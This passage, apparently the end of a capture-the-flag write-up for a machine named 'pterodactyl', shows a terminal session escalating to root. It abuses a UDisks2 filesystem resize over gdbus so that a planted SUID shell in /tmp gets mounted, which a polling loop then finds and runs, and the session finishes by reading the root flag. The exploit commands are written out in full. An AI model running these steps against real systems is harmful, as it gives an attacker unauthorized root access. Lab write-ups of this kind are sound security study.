> done) &
[1] 21663
phileasfogg3@pterodactyl:~>
phileasfogg3@pterodactyl:~> sleep 1
phileasfogg3@pterodactyl:~>
phileasfogg3@pterodactyl:~> echo "[*] Triggering Resize to force mount..."
[*] Triggering Resize to force mount...
phileasfogg3@pterodactyl:~> gdbus call --system --dest org.freedesktop.UDisks2 \
> --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
> --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"
[+] Found SUID shell at: /tmp/blockdev.CGNDK3/sh_root
[+] Attempting execution...
Error: GDBus.Error:org.freedesktop.UDisks2.Error.Failed: Error resizing filesystem on /dev/loop0: Failed to unmount '/dev/loop0' after resizing it: target is busy
[1]+ Stopped ( while true; do
MOUNT_PATH=$(find /tmp/ -name sh_root 2>/dev/null | head -n 1); if [ -n "$MOUNT_PATH" ]; then
echo ""; echo "[+] Found SUID shell at: $MOUNT_PATH"; echo "[+] Attempting execution..."; $MOUNT_PATH -p; break;
fi;
done )
phileasfogg3@pterodactyl:~> fg 1
( while true; do
MOUNT_PATH=$(find /tmp/ -name sh_root 2>/dev/null | head -n 1); if [ -n "$MOUNT_PATH" ]; then
echo ""; echo "[+] Found SUID shell at: $MOUNT_PATH"; echo "[+] Attempting execution..."; $MOUNT_PATH -p; break;
fi;
done )
sh_root-5.2# id
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
sh_root-5.2# cat /root/root.txt
ab259132688af60b7420b276547db51a
It prints [+] Found SUID shell, I can fg 1 to interact with it and grab the ROOT FLAG and that is all!